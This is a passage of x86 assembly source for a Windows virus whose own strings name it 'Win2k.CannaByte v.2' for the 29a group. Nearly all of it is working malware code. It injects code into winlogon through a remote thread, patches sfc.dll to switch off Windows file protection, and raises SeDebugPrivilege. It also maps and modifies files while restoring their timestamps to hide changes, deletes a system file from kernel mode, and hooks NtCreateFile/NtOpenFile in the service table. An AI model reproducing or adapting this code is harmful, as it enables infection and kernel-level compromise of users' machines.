+call dword ptr [esp + 4] +push dword ptr [ebp + NtRasapi] +call dword ptr [esp + 4] +push dword ptr [ebp + NtImagehlp] +call dword ptr [esp + 4] +pop eax +popad +ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;GetWinlogon in:none out: WinlogonHand with winlogon process handle +; eax = 0 if no error +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +GetWinlogon: + +pushad +mov ecx,200h +SaveSpaceSearchingWinlogon: +push 00000000h +loop SaveSpaceSearchingWinlogon +;esp -> array of id of processes +mov eax,esp +lea ebx,[ebp + Needed] +push ebx +push 4*200h +push eax +mov eax,[ebp + NtPsapi] +GezApi eax,EnumProcessesCRC,EPSNameLen +call eax +dec eax +jnz GetWinlogonOutError_ +;esp -> array +mov esi,esp +lodsd +SearchWinlogon: +lodsd +push esi +or eax,eax +jz GetWinlogonOutError +;vvv +mov [ebp + WinlogonID],eax +push eax +xor eax,eax +push eax +mov eax,10h or 400h or 20h or 2h or 8h +push eax +mov eax,[ebp + NtKernel] +GezApi eax,OpenProcessCRC,OPNameLen +call eax + +or eax,eax +jz NoWinlogonFound +;eax = process handle +mov [ebp + WinlogonHand],eax +lea ebx,[ebp + Needed] +push ebx +push 4 +lea ebx,[ebp + WinlogonModuleHand] +push ebx +push eax +mov eax,[ebp + NtPsapi] +GezApi eax,EnumProcessModulesCRC,EPMNameLen +call eax +dec eax +jnz NoWinlogonFound +push 50 +lea eax,[ebp + WinlogonModuleName] +push eax +push dword ptr [ebp + WinlogonModuleHand] +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtPsapi] +GezApi eax,GetModuleBaseNameACRC,GMBNNameLen +call eax +lea esi,[ebp + WinlogonModuleName] +lodsd +or eax,20202020h +cmp eax,'lniw' +winl equ $ - 4 +jne NoWinlogonFound +lodsd +or eax,20202020h +cmp eax,'nogo' +ogon equ $ - 4 +jne NoWinlogonFound + +;^^^ +WinLogonFound: +pop esi +GetWinlogonOut: +add esp,4*200h +popad +xor eax,eax +ret + +NoWinlogonFound: +pop esi +jmp SearchWinlogon + +GetWinlogonOutError: +pop esi +GetWinlogonOutError_: +add esp,4*200h +popad +xor eax,eax +inc eax +ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;AttackWinlogon in:none +; out: eax = 1 error eax = 0 no error +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +AttackWinlogon: + +push PAGE_READWRITE +push MEM_RESERVE or MEM_COMMIT +push evirus - svirus +push 0 +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtKernel] +GezApi eax,VirtualAllocExCRC,VANameLen +call eax + +or eax,eax +jz AttackWinlogonError +mov [ebp + WinlogonVirusBase],eax + +mov ecx,[ebp + NtKernel] +mov ebx,[ebp + WinlogonHand] +lea edx,[ebp + svirus] +mov esi,evirus - svirus +Writez ecx,ebx,eax,edx,esi +or eax,eax +jz AttackWinlogonError +push 0 +push 0 +lea eax,[ebp + Needed] +push eax;pointer to a variable to be passed to the thread function +mov eax,[ebp + WinlogonVirusBase] +add eax,WinlogonCode - svirus +push eax +push 0 ;stack size +push 0 +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtKernel] +GezApi eax,CreateRemoteThreadCRC,CRTNameLen +call eax +or eax,eax +jz AttackWinlogonError + +AttackWinlogonNoError: + +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +call eax +xor eax,eax +ret + +AttackWinlogonError: + +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +call eax +xor eax,eax +inc eax +ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +WinlogonCode: +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;When i inject code to winlogon,i create a remote thread that will start execution here + +pop eax ;remove parameter passed +callz WinlogonCodeDoff +WinlogonCodeDoff: +pop ebp +sub ebp,offset WinlogonCodeDoff + +SfcDisable: + +lea eax,[ebp + sfc] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,LoadLibraryACRC,LLNameLen +call eax +or eax,eax +jz ErrorSfcDisable +mov [ebp + NtSfc],eax +mov esi,[eax + 3ch] +add esi,eax +;esi -> PE +movzx eax,word ptr [esi + 14h];size of optional +mov ecx,[eax + esi + 18h + 10h];size of section +mov esi,[eax + esi + 18h + 0ch];virtual address of first section of sfc.dll +add esi,dword ptr [ebp + NtSfc] + + +;esi -> code section + +SearchCodeToPatch: +pushad +lea edi,[ebp + CodeToSearch] +mov ecx,11 +rep cmpsb +popad +je CodeToPatchFound +inc esi +loop SearchCodeToPatch +jmpz ErrorSfcDisable + +CodeToPatchFound: +;now we patch code with a call to ExitThread +push esi +mov eax,[ebp + NtKernel] +GezApi eax,ExitThreadCRC,ETNameLen +pop esi +mov [ebp + PatchExitThreadDir],eax +push esi +;i unprotect the mem where i go to patch +;UnprotectMem +; eax -> base of kernel +; esi -> dir of memory that will be writable. +; ecx -> bytes of that memory. +; ebx -> handle of the process where is the memory.If 0 this process +mov eax,[ebp + NtKernel] +mov ebx,0 +mov ecx,_PatchCode - PatchCode +callz UnprotectMem +pop esi +mov edi,esi +lea esi,[ebp + PatchCode] +mov ecx,_PatchCode - PatchCode +PatchIt: +movsb +loop PatchIt + +;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] +GezApi eax,ExitThreadCRC,ETNameLen +push 0 +call eax +;;;;;;;;;;;;;;;;;;;;;; + +sfc db 'sfc.dll' +NtSfc dd 0 +CodeToSearch db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h +PatchCode: +push 0 +mov eax,11111111h +PatchExitThreadDir equ dword ptr $ - 4 +call eax +_PatchCode: + + +ErrorSfcDisable: + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;SECOND VERSION IMPROVEMENT FOR SFC DISABLE +;In the first version the method used for sfc disabling is for win2k only,so in this +;version,if the first one fails, we will try other trickz. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;; +SfcDisableImprovement: + + + + + +;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] +GezApi eax,ExitThreadCRC,ETNameLen +push 0 +call eax +;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;End of code for injecting in winlogon process +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;MapFile ;it maps the file in _WIN32_FIND_DATA +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +MapFile: + +ChangeAttributesOfFile: +lea edi,[ebp + _WIN32_FIND_DATA.WFD_szFileName] +push 80h +push edi +mov eax,[ebp + NtKernel] +GezApi eax,SetFileAttributesACRC,SFANameLen +call eax +push 0 +push 0 +push 3 +push 0 +push 1 +push 0C0000000h ;read and write access to file +lea eax,[ebp + _WIN32_FIND_DATA.WFD_szFileName] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,CreateFileACRC,CFNameLen +call eax + + +inc eax +or eax,eax +jnz np1 + +ret +np1: +dec eax +mov [ebp + FileHandle],eax +push 0 +mov eax,[ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow] +push eax +push 0 +push 4 +push 0 +push dword ptr [ebp + FileHandle] +mov eax,[ebp + NtKernel] +GezApi eax,CreateFileMappingACRC,CFMNameLen +call eax + +or eax,eax +jz CloseFile +mov [ebp + MappingHandle],eax +push dword ptr [ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow] +push 0 +push 0 +push 000F001Fh ;access +push eax ;MappingHandle +mov eax,[ebp + NtKernel] +GezApi eax,MapViewOfFileCRC,MVFNameLen +call eax + +or eax,eax +jz CloseMapping +mov [ebp + ViewHandle],eax +ret +;;;;;;;;;;;;;;;;;;;;;; +CloseAll:;close file opened with MapFile + +mov eax,[ebp + NtKernel] +GezApi eax,UnmapViewOfFileCRC,UVFNameLen +push dword ptr [ebp + ViewHandle] +call eax + +CloseMapping: + +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +push dword ptr [ebp + MappingHandle] +call eax + +CloseFile: + +RestoreAttributes: +lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastWriteTime] +push eax +lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastAccessTime] +push eax +lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftCreationTime] +push eax +push dword ptr [ebp + FileHandle] +mov eax,[ebp + NtKernel] +GezApi eax,SetFileTimeCRC,SFTNameLen +call eax + +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +push dword ptr [ebp + FileHandle] +call eax + +push dword ptr [ebp + _WIN32_FIND_DATA.WFD_dwFileAttributes] +lea eax, [ebp+ _WIN32_FIND_DATA.WFD_szFileName] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,SetFileAttributesACRC,SFANameLen +call eax + +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;PayloadRing0.This function is the payload of the virus in ring0. +;When win32k.sys is loaded a song starts in internal speaker. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +PayloadRing0: + +Do equ 600 +Re equ 674 ;(9/8) * Do ;1.125*Do +Mi equ 750 ;(5/4) * Do ;1.25*Do +Fa equ 798 ;(4/3) * Do ;1.33*Do +Sol equ 900 ;(3/2) * Do ;1.5*Do +La equ 996 ;(5/3) * Do ;1.66*Do +Si_ equ 1124;(15/8)* Do ;1.875*Do +Do2 equ 1220 +Zilence equ 1 + +pushfd +pushad + +;;;;;;;;;;;;;;;;;;;;;;; +cli +in al, 61h ;save byte in 61h +push ax +cli +;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;; +lea esi,word ptr [ebp + Song] +WhatIfGodSmokedCannabis: +lodsw +mov cx,ax +lodsw +mov dx,ax +or cx,cx +je EndSong +callz sound +jmpz WhatIfGodSmokedCannabis +EndSong: +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +callz Silence +pop ax ; Restore information byte in port 61h +out 61h, al +sti +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +popad +popfd +ret +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +sound: ;cx = frec dl = duration in second(no more than 13 sec) +pushad +push dx +set_ppi: +mov al, 10110110b ; channel 2 +out 43h, al ; operation and mode 3 +set_freq: +cmp cx,Zilence +je IsASilence +mov dx,12h +mov ax,34dch +div cx ; data for frec in ax: 1234dch / (cx = frec) +out 42h, al +mov al, ah +out 42h, al +active_spk: +or al, 00000011b +out 61h, al +xor eax,eax +pop ax ;al = duration in sec +callz WaitX +popad +ret +IsASilence: +callz Silence +pop ax ;al = duration in sec +callz WaitX +popad +ret +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +WaitX: ;eax = multiplicator < 19 +pushad +mov ecx,1500000h +VelAdjust equ dword ptr $ - 4 +mul ecx;*eax +mov ecx,eax +loop $ +popad +ret +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +Silence: +pushad +in al, 61h +and al, 11111100b ; 0FCh put off speaker +out 61h, al +popad +ret +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +paystrings: +db "Win2k.CannaByte v.2 by Super and Vallez for 29a",0dh,0ah +db "The name of this virus is CannaByte!!!",0dh,0ah +db "I hate avs changed viruses's names",0dh,0ah +db "Plz,no change the name of this ;)",0 +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +TitleSong: +db "What if god smoked cannabis?",0 +Song: +dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9 +dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9 +dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9 +dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9 +dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4 +dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4 +dw Mi,15,Zilence,2,Mi,15,Zilence,2,Mi,6,Mi,6,Mi,6,Zilence,6 +dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,3 +dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,4 +dw Sol,6,La,6,Si_,9,Mi,12,Mi,9,Fa,6,Sol,6,Zilence,1 +dw Sol,6,Sol,6,Sol,6,Sol,6,Fa,6,Mi,6,Re,6,Do,18,Zilence,3 +dw Sol,9,Sol,9,Sol,9,Sol,9,Fa,9,Mi,9,Re,9,Do,18,0,0 +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;touch_privilege: i got this function from Ratter/29a's document about infection of winlogon. +;The function enable a privilege for me,and ill use to enable SeDebugPrivilege for later ill +;be able to modify winlogon memory space. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +touch_privilege: + + mov ebx, ebp +touch_privilege_ proc near + local process_token:DWORD + local privilege_luid:QWORD + local token_privilegez:TOKEN_PRIVILEGES + + pushad + @SEH_SetupFrame + + xchg eax, edi + + call dword ptr [ebx+tGetCurrentProcess] + lea edx, [process_token] + push edx + push TOKEN_ADJUST_PRIVILEGES + push eax + call dword ptr [ebx+tOpenProcessToken] + dec eax + jnz touch_privilege_end + + lea edx, [token_privilegez.TP_luid] + push edx + push esi + push eax + call dword ptr [ebx+tLookupPrivilegeValueA] + dec eax + jnz touch_privilege_close_p_token + + push eax + push eax + push type(TOKEN_PRIVILEGES) + lea edx, [token_privilegez] + + push 1 + pop dword ptr [edx] + mov dword ptr [edx.TP_attribz], edi + + push edx + push eax + push dword ptr [process_token] + call dword ptr [ebx+tAdjustTokenPrivileges] + +touch_privilege_close_p_token: + push eax + push dword ptr [process_token] + call dword ptr [ebx+tCloseHandle] + pop eax +touch_privilege_end: + @SEH_RemoveFrame + mov dword ptr [esp.Pushad_eax], eax + popad + leave + retn + +touch_privilege_ endp + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;MapFileRing0 maps a file using kernel mode apis. As MapFile fuction for user +;mode, MapFileRing0 has a CloseAllRing0 function for saving changes and close handles +;MapFile get the name and directory handle from FileNameRing0 and RootDirectoryRing0 +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +MapFileRing0: + +pushad + +;objects_attributes struc +; oa_length dd ? ;lenght of this structure +; oa_rootdir dd ? +; oa_objectname dd ? ;name of the object +; oa_attribz dd ? ;attributes of the object +; oa_secdesc dd ? +; oa_secqos dd ? +;objects_attributes ends +; +;pio_status struc +; ps_ntstatus dd ? +; ps_info dd ? +;pio_status ends + +mov [ebp + FileAttributesRing0.oa_length],24 +mov eax,[ebp + RootDirectoryRing0] +mov [ebp + FileAttributesRing0.oa_rootdir],eax +lea eax,[ebp + FileNameRing0] +mov [ebp + FileAttributesRing0.oa_objectname],eax +mov dword ptr [ebp + FileAttributesRing0.oa_attribz],OBJ_CASE_INSENSITIVE +mov dword ptr [ebp + FileAttributesRing0.oa_secdesc],0 +mov dword ptr [ebp + FileAttributesRing0.oa_secqos],0 + +push FILE_OPEN_FOR_BACKUP_INTENT or \ + FILE_SYNCHRONOUS_IO_NONALERT or \ + FILE_NON_DIRECTORY_FILE ;OpenOptions +push FILE_SHARE_READ or \ + FILE_SHARE_WRITE ;Share access +lea eax,[ebp + io_statusRing0] +push eax +lea eax,[ebp + FileAttributesRing0] +push eax +push FILE_READ_DATA or\ + FILE_WRITE_DATA or\ + FILE_APPEND_DATA or\ + STANDART_RIGTHS_REQUIRED ;desired access + +lea eax,[ebp + FileHandRing0] +push eax +call dword ptr [ebp + ZwOpenFilez] ;I get a handle to the file + +test eax,eax +jne ErrorMappingRing0 + +mov eax,[ebp + FileHandRing0] +push eax +push SEC_COMMIT ;allocation attributes +push PAGE_READWRITE ;page protection +push 00000000h ;maximun size +push 00000000h ;objects attributes NULL +push SECTION_QUERY or \ + SECTION_MAP_WRITE or \ + SECTION_MAP_READ or \ + STANDART_RIGTHS_REQUIRED ;desired access +lea eax,[ebp + SectionHandRing0] +push eax +call dword ptr [ebp + ZwCreateSectionz] ;I get a handle to a created section +test eax,eax +je np1Ring0 +callz Close1Ring0 +jmpz ErrorMappingRing0 +np1Ring0: ;no problem getting section so continue +mov dword ptr [ebp + SectionBaseAddressRing0],0 +mov dword ptr [ebp + SectionOffsetRing0],0 +mov dword ptr [ebp + SectionOffsetRing0 + 4],0 +mov dword ptr [ebp + SectionViewSizeRing0],0 + +push 00000004h +push 00000000h +push 00000001h +lea eax,[ebp + SectionViewSizeRing0] +push eax +lea eax,[ebp + SectionOffsetRing0] +push eax +push 00000000h +push 00000000h +lea eax,[ebp + SectionBaseAddressRing0] +push eax +push 0FFFFFFFFh ;i specify the caller process,...i suppose thought im in ring0 this will + ;not give problems. +mov eax,[ebp + SectionHandRing0] +push eax +call dword ptr [ebp + ZwMapViewOfSectionz] ;I get a view of the section +test eax,eax +je NoErrorMappingRing0 +callz Close2Ring0 +jmpz ErrorMappingRing0 + + +NoErrorMappingRing0: +popad +mov eax,[ebp + SectionBaseAddressRing0] +ret + + +ErrorMappingRing0: +popad +xor eax,eax +ret + +;;;;;;;;;;;;;;;;;;;;;; +CloseAllRing0: + +Close3Ring0: + +push dword ptr [ebp + SectionBaseAddressRing0] +push 0FFFFFFFFh +call dword ptr [ebp + ZwUnmapViewOfSectionz] ;I unmap the view of the section + +Close2Ring0: + +push dword ptr [ebp + SectionHandRing0] +call dword ptr [ebp + ZwClosez] ;I close the hand to the section + +Close1Ring0: + +push dword ptr [ebp + FileHandRing0] +call dword ptr [ebp + ZwClosez] ;I close the hand to the file + +ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;GetApisRing0 gets some apis coz we need to be fast when we r in the hook rutine,or the +;system will go slowly...We cant to be using all time GezApi +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +GetApisRing0: + +pushfd +pushad + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwUnmapViewOfSectionCRC,ZUVOSNameLen +mov [ebp + ZwUnmapViewOfSectionz],eax + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwCloseCRC,ZCNameLen +mov [ebp + ZwClosez],eax + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwMapViewOfSectionCRC,ZMVOSNameLen +mov [ebp + ZwMapViewOfSectionz],eax + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwOpenFileCRC,ZOFNameLen +mov [ebp + ZwOpenFilez],eax + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwCreateSectionCRC,ZCSNameLen +mov [ebp + ZwCreateSectionz],eax + +popad +popfd +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;DeleteWin32ksy will delete win32k.sy file if still not deleted +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +DeleteWin32ksy: +pushfd +pushad + +;From Ring3 part we have in Buffer system32 path in ansi string. We will use StringRing0 +;for creating a unicode string with win32k.sy name. + +lea edi,[ebp + StringRing0] + +lea esi,[ebp + StartUnicode] +mov ecx,8 +xor eax,eax +CopyStartUnicode: +movsb +loop CopyStartUnicode + +lea esi,[ebp + Buffer] +CalcLenString +push ecx +xor eax,eax +CopyPathSystem32: +movsb +stosb +loop CopyPathSystem32 + +mov al,'\' +stosb +xor eax,eax +stosb + +lea esi,[ebp + win32ksy] +CalcLenString +xor eax,eax +CopyFileNameWin32ksy: +movsb +stosb +loop CopyFileNameWin32ksy + +;we have in StringRing0 'pathsystem32\win32k.sy' + +pop ecx ;len of path of system32 in ansi +shl ecx,1 ;len in unicode +add ecx,28 ;len of that path + len of \??\ and win32k.sy name in ecx + +mov word ptr [ebp + FileNameRing0.us_Length],cx +mov word ptr [ebp + FileNameRing0.us_MaximumLength],cx +lea eax,[ebp + StringRing0] +mov [ebp + FileNameRing0.us_Buffer],eax + +;usually deletion of files is done with a specific call to NtSetInformationFile. With this +;call the file is deleted when last handle to it is closed. However ill use other +;undocumented api,ZwDeleteFile. With ZwDeleteFile the file is deleted without waiting +;last handle was closed. + +lea eax,[ebp + FileNameRing0] +mov dword ptr [ebp + FileAttributesRing0.oa_objectname],eax +mov dword ptr [ebp + FileAttributesRing0.oa_length] ,24 +mov dword ptr [ebp + FileAttributesRing0.oa_rootdir],0 +mov dword ptr [ebp + FileAttributesRing0.oa_attribz],40h +mov dword ptr [ebp + FileAttributesRing0.oa_secdesc],0h +mov dword ptr [ebp + FileAttributesRing0.oa_secqos] ,0h + +lea eax,dword ptr [ebp + FileAttributesRing0] +push eax +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwDeleteFileCRC,ZDFNameLen +call eax ;file must be deleted + +popad +popfd + +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;UnhookWhile and RehookAgain put off and put on the hook +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;NtCreateFileAddr +;NtOpenFileAddr +;NtCreateFileEntryAddr +;NtOpenFileEntryAddr + +;;;;;;;;;;;;;;;;;;;;;; +UnhookWhile: +;;;;;;;;;;;; +pushad +mov eax,[ebp + NtCreateFileAddr] +mov ebx,[ebp + NtCreateFileEntryAddr] +mov [ebx],eax +mov eax,[ebp + NtOpenFileAddr] +mov ebx,[ebp + NtOpenFileEntryAddr] +mov [ebx],eax +popad +ret +;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;; +RehookAgain: +;;;;;;;;;;;; +pushad +lea eax,[ebp + NtCreateFileHookRutine] +mov ebx,[ebp + NtCreateFileEntryAddr] +mov [ebx],eax +lea eax,[ebp + NtOpenFileHookRutine] +mov ebx,[ebp + NtOpenFileEntryAddr] +mov [ebx],eax +popad +ret +;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;Some Variables + +Needed dd 0 +NtKernel dd 0 +NtAdvapi dd 0 +NtPsapi dd 0 +NtRasapi dd 0 +Ntdll dd 0 +NtImagehlp dd 0 +advapi db 'advapi32.dll',0 +psapi db 'psapi.dll',0 +rasapi db 'rasapi32.dll',0 +imagehlp db 'imagehlp.dll',0 +win32ksys db 'win32k.sys',0 +win32ksy db 'win32k.sy',0 +win32kfuck db 'win32k.fuck',0 +StartUnicode db '\',0,'?',0,'?',0,'\',0 +WinlogonHand dd 0 +WinlogonID dd 0 +WinlogonModuleHand dd 0 +WinlogonModuleName db 50 dup(?) +WinlogonVirusBase dd 0 + +tAdjustTokenPrivileges dd 0 +tCloseHandle dd 0 +tLookupPrivilegeValueA dd 0 +tOpenProcessToken dd 0 +tGetCurrentProcess dd 0 + +CurDir db 256 dup(0) + +_WIN32_FIND_DATA WIN32_FIND_DATA ? + +FileHandle dd 0 +MappingHandle dd 0 +ViewHandle dd 0 +SearchHand dd 0 + +Buffer db 256 dup (?) +aux dd 0 +KernelThreadHand dd 0 + +EntryPointWin32ksys dd 0 +EntryPoint dd 0 + +KeServiceDescriptorTable dd 0 +Ntoskrnl dd 0 +SSDT dd 0 +NtCreateFileAddr dd 0 +NtOpenFileAddr dd 0 +NtCreateFileEntryAddr dd 0 +NtOpenFileEntryAddr dd 0 + +AttributesFileRing0 dd ? +CreateDispositionFileRing0 dd ? +CreateOptionsFileRing0 dd ? +FileNameRing0 unicode_string ? +StringRing0 dw 256 dup(0) +RootDirectoryRing0 dd 0 +FileAttributesRing0 objects_attributes ? +io_statusRing0 pio_status ? +FileHandRing0 dd ? +SectionHandRing0 dd ? +SectionOffsetRing0 dq 0 +SectionBaseAddressRing0 dd 0 +SectionViewSizeRing0 dd 0 + + +ZwMapViewOfSectionz dd 0 +ZwCreateSectionz dd 0 +ZwOpenFilez dd 0 +ZwUnmapViewOfSectionz dd 0 +ZwClosez dd 0 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 